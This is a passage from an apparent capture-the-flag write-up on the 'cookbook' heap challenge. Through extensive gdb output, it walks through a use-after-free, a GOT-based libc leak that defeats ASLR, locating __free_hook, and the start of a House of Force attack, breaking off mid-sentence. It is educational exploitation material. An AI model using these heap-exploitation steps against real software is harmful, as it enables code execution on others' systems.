────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffe00
$ebx : 0x0
$ecx : 0xf7fb65e7 → 0xfb787c0a
$edx : 0x1
$esp : 0xffffcda8 → 0xffffcdf8 → 0x00000009
$ebp : 0xffffcdf8 → 0x00000009
$esi : 0xf7fb65a0 → 0xfbad208b
$edi : 0xf7fb6d60 → 0xfbad2887
$eip : 0xf7fd7fe9 → <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcda8│+0x0000: 0xffffcdf8 → 0x00000009 ← $esp
0xffffcdac│+0x0004: 0x00000001
0xffffcdb0│+0x0008: 0xf7fb65e7 → 0xfb787c0a
0xffffcdb4│+0x000c: 0xf7ed9b23 → <read+35> pop ebx
0xffffcdb8│+0x0010: 0xf7fb6000 → 0x001b1db0
0xffffcdbc│+0x0014: 0xf7e6e267 → <_IO_file_underflow+295> add esp, 0x10
0xffffcdc0│+0x0018: 0x00000000
0xffffcdc4│+0x001c: 0xf7fb65e7 → 0xfb787c0a
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7fd7fe3 <__kernel_vsyscall+3> mov ebp, ecx
0xf7fd7fe5 <__kernel_vsyscall+5> syscall
0xf7fd7fe7 <__kernel_vsyscall+7> int 0x80
→ 0xf7fd7fe9 <__kernel_vsyscall+9> pop ebp
0xf7fd7fea <__kernel_vsyscall+10> pop edx
0xf7fd7feb <__kernel_vsyscall+11> pop ecx
0xf7fd7fec <__kernel_vsyscall+12> ret
0xf7fd7fed nop
0xf7fd7fee nop
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8048a20 → add esp, 0x10
[#9] 0x804a426 → call 0x8049bed
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/40w 0x804f2b0
0x804f2b0: 0xf7fb67b0 0xf7fb67b0 0x00000000 0x00000000
0x804f2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f300: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f310: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f320: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f330: 0x00000000 0x00000000 0x00000000 0x33393531
0x804f340: 0x38323735 0x0000000a 0x00000000 0x00000000
gef➤ x/w 0xf7fb67b0
0xf7fb67b0: 0x0804f6d8
So we can see that the pointers to ingredient counts and ingredient pointers have been written over with heap metadata (pointing to the next area of the heap which can be allocated). We can see that the recipe instructions remain there. Let's add an ingredient now and see how this memory region looks:
gef➤ c
Continuing.
a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
n
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
g
0000
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
p
1
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
s
2
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffe00
$ebx : 0x0
$ecx : 0xf7fb65e7 → 0xfb787c0a
$edx : 0x1
$esp : 0xffffcd68 → 0xffffcdb8 → 0x00000009
$ebp : 0xffffcdb8 → 0x00000009
$esi : 0xf7fb65a0 → 0xfbad208b
$edi : 0xf7fb6d60 → 0xfbad2887
$eip : 0xf7fd7fe9 → <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd68│+0x0000: 0xffffcdb8 → 0x00000009 ← $esp
0xffffcd6c│+0x0004: 0x00000001
0xffffcd70│+0x0008: 0xf7fb65e7 → 0xfb787c0a
0xffffcd74│+0x000c: 0xf7ed9b23 → <read+35> pop ebx
0xffffcd78│+0x0010: 0xf7fb6000 → 0x001b1db0
0xffffcd7c│+0x0014: 0xf7e6e267 → <_IO_file_underflow+295> add esp, 0x10
0xffffcd80│+0x0018: 0x00000000
0xffffcd84│+0x001c: 0xf7fb65e7 → 0xfb787c0a
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7fd7fe3 <__kernel_vsyscall+3> mov ebp, ecx
0xf7fd7fe5 <__kernel_vsyscall+5> syscall
0xf7fd7fe7 <__kernel_vsyscall+7> int 0x80
→ 0xf7fd7fe9 <__kernel_vsyscall+9> pop ebp
0xf7fd7fea <__kernel_vsyscall+10> pop edx
0xf7fd7feb <__kernel_vsyscall+11> pop ecx
0xf7fd7fec <__kernel_vsyscall+12> ret
0xf7fd7fed nop
0xf7fd7fee nop
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8048d45 → add esp, 0x10
[#9] 0x8048a5d → jmp 0x8048b42
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/wx 0x804d09c
0x804d09c: 0x0804f2b0
gef➤ x/40w 0x0804f2b0
0x804f2b0: 0x00000002 0x00000001 0x30303030 0x00000000
0x804f2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f300: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f310: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f320: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f330: 0x00000000 0x00000000 0x00000000 0x0804f2b0
0x804f340: 0x38323735 0x00000379 0xf7fb67b0 0xf7fb67b0
gef➤ x/w 0x804d0a0
0x804d0a0: 0x0804f2b0
So we can see that the instructions we had at 0x804f33c
for the recipe have been overwritten with a pointer to the ingredient (which we can see the calories, price, and name starting at 0x804f2b0
). Because of its position being in the exact spot that the instructions were at, we should be able to make a new recipe and overwrite that pointer since currentRecipe
is still pointing to 0x804f2b0
.
gef➤ c
Continuing.
e
saved!
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
q
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
i
7895
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffe00
$ebx : 0x0
$ecx : 0xf7fb65e7 → 0xfb787c0a
$edx : 0x1
$esp : 0xffffccc8 → 0xffffcd18 → 0x00000009
$ebp : 0xffffcd18 → 0x00000009
$esi : 0xf7fb65a0 → 0xfbad208b
$edi : 0xf7fb6d60 → 0xfbad2887
$eip : 0xf7fd7fe9 → <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffccc8│+0x0000: 0xffffcd18 → 0x00000009 ← $esp
0xffffcccc│+0x0004: 0x00000001
0xffffccd0│+0x0008: 0xf7fb65e7 → 0xfb787c0a
0xffffccd4│+0x000c: 0xf7ed9b23 → <read+35> pop ebx
0xffffccd8│+0x0010: 0xf7fb6000 → 0x001b1db0
0xffffccdc│+0x0014: 0xf7e6e267 → <_IO_file_underflow+295> add esp, 0x10
0xffffcce0│+0x0018: 0x00000000
0xffffcce4│+0x001c: 0xf7fb65e7 → 0xfb787c0a
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7fd7fe3 <__kernel_vsyscall+3> mov ebp, ecx
0xf7fd7fe5 <__kernel_vsyscall+5> syscall
0xf7fd7fe7 <__kernel_vsyscall+7> int 0x80
→ 0xf7fd7fe9 <__kernel_vsyscall+9> pop ebp
0xf7fd7fea <__kernel_vsyscall+10> pop edx
0xf7fd7feb <__kernel_vsyscall+11> pop ecx
0xf7fd7fec <__kernel_vsyscall+12> ret
0xf7fd7fed nop
0xf7fd7fee nop
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8049159 → add esp, 0x10
[#9] 0x8048a67 → jmp 0x8048b42
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/40w 0x0804f2b0
0x804f2b0: 0x00000002 0x00000001 0x30303030 0x00000000
0x804f2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f300: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f310: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f320: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f330: 0x00000000 0x00000000 0x00000000 0x35393837
0x804f340: 0x3832000a 0x00000011 0x0804f2b0 0x00000000
So we can see that the pointer to our new ingredient is at 0x804f348
, and is within the range of the write we get for making instructions which starts at 0x804f33c
. So using this, we can overwrite the pointer for this new ingredient by writing '0'*12 + x
where x
is the value we are replacing the pointer with.
Now with this we can get another infoleak, this time to libc. Looking at the printIngredientProperties()
function we can see that it is expecting a pointer to print out. We should be able to overwrite the ingredient pointer with a GOT table address for a libc function, which will store the actual libc address for that function. Because of this, when we trigger the option for listing the ingredients, it will print out that libc address, plus two other address 4 and 8 bytes down.
Let's find a got address for the function free:
$ $ readelf --relocs ./cookbook | grep free
0804d018 00000407 R_386_JUMP_SLOT 00000000 free@GLIBC_2.0
So if we overwrite the address of our new ingredient with 0x804d018
it should print out the address of free, and with that we can break ASLR in libc.
Now one thing to remember about doing this write, since we are dealing with a linked list, it will expect a pointer to the next item right after the current pointer (unless if there are no more, which is signified by 0x00000000). SInce our input is scanned in using fgets()
, there will be a trailing newline character which will get written to the location that it will expect the next pointer, so we will need to add four null bytes, otherwise it will try to interpret 0xa as a pointer and crash.
Also the whole reason we are able to do this, is because currentRecipe
is not reset to 0 after the pointer it contains is freed (so we have that UAF).
Finding Free Hook
So in order to write to the free hook, we need to first find it. If we have symbols, we can do something like this:
gef➤ set __free_hook = 0xfacade
gef➤ search-pattern 0xfacade
[+] Searching '\xde\xca\xfa' in memory
[+] In (0xf7fb4000-0xf7fb7000), permission=rw-
0xf7fb48b0 - 0xf7fb48bc → "\xde\xca\xfa[...]"
gef➤ x/w 0xf7fb48b0
0xf7fb48b0 <__free_hook>: 0x00facade
However what if we don't have symbols? Before we do that, let's look at the assembly code for free:
=> 0xf7f1b625: mov ebx,DWORD PTR [esp]
0xf7f1b628: ret
gef➤ x/20i free
0xf75dedc0 <free>: push ebx
0xf75dedc1 <free+1>: call 0xf768f625
0xf75dedc6 <free+6>: add ebx,0x14323a
0xf75dedcc <free+12>: sub esp,0x8
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]
0xf75deddb <free+27>: test eax,eax
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
So we can see here the value of ebx
is just the stack pointer . Then it has the hex string 0x1432a
added to it, then has 0x98
subtracted from it before it is moved into eax
to be used as the free hook. Then it checks to see if it actually points anything (checks to see if there is a hook) and if there is, it will jump to the part where it will execute the hook.
0xf7e6ae50 <free+144>: sub esp,0x8
0xf7e6ae53 <free+147>: push DWORD PTR [esp+0x14]
0xf7e6ae57 <free+151>: push ecx
0xf7e6ae58 <free+152>: call eax
Here we can see it calls eax
which has the web hook from the previous block. Let's see where the free hook is in memory:
gef➤ b free
Breakpoint 1 at 0x8048530
gef➤ r
Starting program: /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
what's your name?
guyinatuxedo
+-----------------------------+
| .--,--. |
| `. ,.' |
| |___| |
| :o o: |
| _`~^~' |
| /' ^ `\ |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
g
how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : 0x50
15935728
the new name of the cookbook is 15935728
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
R
[----------------------------------registers-----------------------------------]
EAX: 0x804f2b0 ("15935728\n")
EBX: 0xffffd190 --> 0x1
ECX: 0xffffd152 --> 0xa5000a52
EDX: 0xf7fb487c --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b5db0
EBP: 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
ESP: 0xffffd08c --> 0x8048b62 (add esp,0x10)
EIP: 0xf7e6fdc0 (<free>: push ebx)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e6fdad: jmp 0xf7e6fbb4
0xf7e6fdb2: lea esi,[esi+eiz*1+0x0]
0xf7e6fdb9: lea edi,[edi+eiz*1+0x0]
=> 0xf7e6fdc0 <free>: push ebx
0xf7e6fdc1 <free+1>: call 0xf7f20625
0xf7e6fdc6 <free+6>: add ebx,0x14323a
0xf7e6fdcc <free+12>: sub esp,0x8
0xf7e6fdcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c --> 0x8048b62 (add esp,0x10)
0004| 0xffffd090 --> 0x804f2b0 ("15935728\n")
0008| 0xffffd094 --> 0xf7fb3000 --> 0x1b5db0
0012| 0xffffd098 --> 0xffffd168 --> 0xffffd178 --> 0x0
0016| 0xffffd09c --> 0x8048a20 (add esp,0x10)
0020| 0xffffd0a0 --> 0xffffd152 --> 0xa5000a52
0024| 0xffffd0a4 --> 0xa ('\n')
0028| 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804f2b0 → "15935728"
$ebx : 0xffffd190 → 0x00000001
$ecx : 0xffffd152 → 0xa5000a52 ("R"?)
$edx : 0xf7fb487c → 0x00000000
$esp : 0xffffd08c → 0x08048b62 → add esp, 0x10
$ebp : 0xffffd0a8 → 0xffffd168 → 0xffffd178 → 0x00000000
$esi : 0x1
$edi : 0xf7fb3000 → 0x001b5db0
$eip : 0xf7e6fdc0 → <free+0> push ebx
$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd08c│+0x0000: 0x08048b62 → add esp, 0x10 ← $esp
0xffffd090│+0x0004: 0x0804f2b0 → "15935728"
0xffffd094│+0x0008: 0xf7fb3000 → 0x001b5db0
0xffffd098│+0x000c: 0xffffd168 → 0xffffd178 → 0x00000000
0xffffd09c│+0x0010: 0x08048a20 → add esp, 0x10
0xffffd0a0│+0x0014: 0xffffd152 → 0xa5000a52 ("R"?)
0xffffd0a4│+0x0018: 0x0000000a
0xffffd0a8│+0x001c: 0xffffd168 → 0xffffd178 → 0x00000000 ← $ebp
─────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7e6fdad jmp 0xf7e6fbb4
0xf7e6fdb2 lea esi, [esi+eiz*1+0x0]
0xf7e6fdb9 lea edi, [edi+eiz*1+0x0]
→ 0xf7e6fdc0 <free+0> push ebx
0xf7e6fdc1 <free+1> call 0xf7f20625
0xf7e6fdc6 <free+6> add ebx, 0x14323a
0xf7e6fdcc <free+12> sub esp, 0x8
0xf7e6fdcf <free+15> mov eax, DWORD PTR [ebx-0x98]
0xf7e6fdd5 <free+21> mov ecx, DWORD PTR [esp+0x10]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7e6fdc0 → free()
[#1] 0x8048b62 → add esp, 0x10
[#2] 0x8048a7b → jmp 0x8048b42
[#3] 0x804a426 → call 0x8049bed
[#4] 0xf7e15276 → __libc_start_main()
[#5] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0xf7e6fdc0 in free () from /lib/i386-linux-gnu/libc.so.6
gef➤ s
step through the instructions untill you hit free+25
:
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb48b0 --> 0x0
EBX: 0xf7fb3000 --> 0x1b5db0
ECX: 0x804f2b0 ("15935728\n")
EDX: 0xf7fb487c --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b5db0
EBP: 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
ESP: 0xffffd080 --> 0x804f2b0 ("15935728\n")
EIP: 0xf7e6fdd9 (<free+25>: mov eax,DWORD PTR [eax])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e6fdcc <free+12>: sub esp,0x8
0xf7e6fdcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf7e6fdd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
=> 0xf7e6fdd9 <free+25>: mov eax,DWORD PTR [eax]
0xf7e6fddb <free+27>: test eax,eax
0xf7e6fddd <free+29>: jne 0xf7e6fe50 <free+144>
0xf7e6fddf <free+31>: test ecx,ecx
0xf7e6fde1 <free+33>: je 0xf7e6fe5d <free+157>
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0x804f2b0 ("15935728\n")
0004| 0xffffd084 --> 0xf7e6fdc6 (<free+6>: add ebx,0x14323a)
0008| 0xffffd088 --> 0xffffd190 --> 0x1
0012| 0xffffd08c --> 0x8048b62 (add esp,0x10)
0016| 0xffffd090 --> 0x804f2b0 ("15935728\n")
0020| 0xffffd094 --> 0xf7fb3000 --> 0x1b5db0
0024| 0xffffd098 --> 0xffffd168 --> 0xffffd178 --> 0x0
0028| 0xffffd09c --> 0x8048a20 (add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0xf7fb48b0 → 0x00000000
$ebx : 0xf7fb3000 → 0x001b5db0
$ecx : 0x0804f2b0 → "15935728"
$edx : 0xf7fb487c → 0x00000000
$esp : 0xffffd080 → 0x0804f2b0 → "15935728"
$ebp : 0xffffd0a8 → 0xffffd168 → 0xffffd178 → 0x00000000
$esi : 0x1
$edi : 0xf7fb3000 → 0x001b5db0
$eip : 0xf7e6fdd9 → <free+25> mov eax, DWORD PTR [eax]
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd080│+0x0000: 0x0804f2b0 → "15935728" ← $esp
0xffffd084│+0x0004: 0xf7e6fdc6 → <free+6> add ebx, 0x14323a
0xffffd088│+0x0008: 0xffffd190 → 0x00000001
0xffffd08c│+0x000c: 0x08048b62 → add esp, 0x10
0xffffd090│+0x0010: 0x0804f2b0 → "15935728"
0xffffd094│+0x0014: 0xf7fb3000 → 0x001b5db0
0xffffd098│+0x0018: 0xffffd168 → 0xffffd178 → 0x00000000
0xffffd09c│+0x001c: 0x08048a20 → add esp, 0x10
─────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7e6fdcc <free+12> sub esp, 0x8
0xf7e6fdcf <free+15> mov eax, DWORD PTR [ebx-0x98]
0xf7e6fdd5 <free+21> mov ecx, DWORD PTR [esp+0x10]
→ 0xf7e6fdd9 <free+25> mov eax, DWORD PTR [eax]
0xf7e6fddb <free+27> test eax, eax
0xf7e6fddd <free+29> jne 0xf7e6fe50 <free+144>
0xf7e6fddf <free+31> test ecx, ecx
0xf7e6fde1 <free+33> je 0xf7e6fe5d <free+157>
0xf7e6fde3 <free+35> lea edx, [ecx-0x8]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7e6fdd9 → free()
[#1] 0x8048b62 → add esp, 0x10
[#2] 0x8048a7b → jmp 0x8048b42
[#3] 0x804a426 → call 0x8049bed
[#4] 0xf7e15276 → __libc_start_main()
[#5] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────────────
0xf7e6fdd9 in free () from /lib/i386-linux-gnu/libc.so.6
gef➤ p $eax
$1 = 0xf7fb48b0
gef➤ x/w 0xf7fb48b0
0xf7fb48b0 <__free_hook>: 0x00000000
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x0804c000 0x00000000 r-x /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
0x0804c000 0x0804d000 0x00003000 r-- /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
0x0804d000 0x0804e000 0x00004000 rw- /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
0x0804e000 0x0806f000 0x00000000 rw- [heap]
0xf7dfd000 0xf7fb1000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.24.so
0xf7fb1000 0xf7fb3000 0x001b3000 r-- /lib/i386-linux-gnu/libc-2.24.so
0xf7fb3000 0xf7fb4000 0x001b5000 rw- /lib/i386-linux-gnu/libc-2.24.so
0xf7fb4000 0xf7fb7000 0x00000000 rw-
0xf7fd2000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.24.so
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.24.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.24.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
So we can see the hook at 0xf7fb48b0
which is stored in the libc between. Let's follow the process when we actually set the free hook (we will just be setting it to 0000):
gef➤ set *0xf7fb48b0 = 0x30303030
gef➤ x/w 0xf7fb48b0
0xf7fb48b0 <__free_hook>: 0x30303030
gef➤ s
After we step through the instructions up to the call:
[----------------------------------registers-----------------------------------]
EAX: 0x30303030 ('0000')
EBX: 0xf7fb3000 --> 0x1b5db0
ECX: 0x804f2b0 ("15935728\n")
EDX: 0xf7fb487c --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b5db0
EBP: 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
ESP: 0xffffd06c --> 0xf7e6fe5a (<free+154>: add esp,0x10)
EIP: 0x30303030 ('0000')
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x30303030
[------------------------------------stack-------------------------------------]
0000| 0xffffd06c --> 0xf7e6fe5a (<free+154>: add esp,0x10)
0004| 0xffffd070 --> 0x804f2b0 ("15935728\n")
0008| 0xffffd074 --> 0x8048b62 (add esp,0x10)
0012| 0xffffd078 --> 0xf7fb487c --> 0x0
0016| 0xffffd07c --> 0xf7e6fdc0 (<free>: push ebx)
0020| 0xffffd080 --> 0x804f2b0 ("15935728\n")
0024| 0xffffd084 --> 0xf7e6fdc6 (<free+6>: add ebx,0x14323a)
0028| 0xffffd088 --> 0xffffd190 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x30303030 ("0000"?)
$ebx : 0xf7fb3000 → 0x001b5db0
$ecx : 0x0804f2b0 → "15935728"
$edx : 0xf7fb487c → 0x00000000
$esp : 0xffffd06c → 0xf7e6fe5a → <free+154> add esp, 0x10
$ebp : 0xffffd0a8 → 0xffffd168 → 0xffffd178 → 0x00000000
$esi : 0x1
$edi : 0xf7fb3000 → 0x001b5db0
$eip : 0x30303030 ("0000"?)
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd06c│+0x0000: 0xf7e6fe5a → <free+154> add esp, 0x10 ← $esp
0xffffd070│+0x0004: 0x0804f2b0 → "15935728"
0xffffd074│+0x0008: 0x08048b62 → add esp, 0x10
0xffffd078│+0x000c: 0xf7fb487c → 0x00000000
0xffffd07c│+0x0010: 0xf7e6fdc0 → <free+0> push ebx
0xffffd080│+0x0014: 0x0804f2b0 → "15935728"
0xffffd084│+0x0018: 0xf7e6fdc6 → <free+6> add ebx, 0x14323a
0xffffd088│+0x001c: 0xffffd190 → 0x00000001
─────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x30303030
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────
0x30303030 in ?? ()
gef➤
So we can see that it did try to execute the value of the web hook, 0000. Later on, we can just compare the address of free to the address of the free hook to get the offset, which is 0x144af0. Now let's execute the House of Force attack.
House of Force - Write over Wilderness Value
First let's talk about the heap wilderness. The wilderness is essentially memory that the program has mapped for the heap, but malloc hasn't yet allocated. Right at the beginning of the wilderness, is something called the wilderness value. This essentially keeps track of the size of the wilderness. That way when malloc tries to allocate space from the wilderness, it can just check this value to see if there is enough space left. If there isn't, then it will expand the wilderness by mapping more space for the heap with mmap
. The House of Force attack focuses on attacking the wilderness value.
Essentially what House of Force does is overwrite the wilderness value with a much larger value (in our case, it will be 0xffffffff
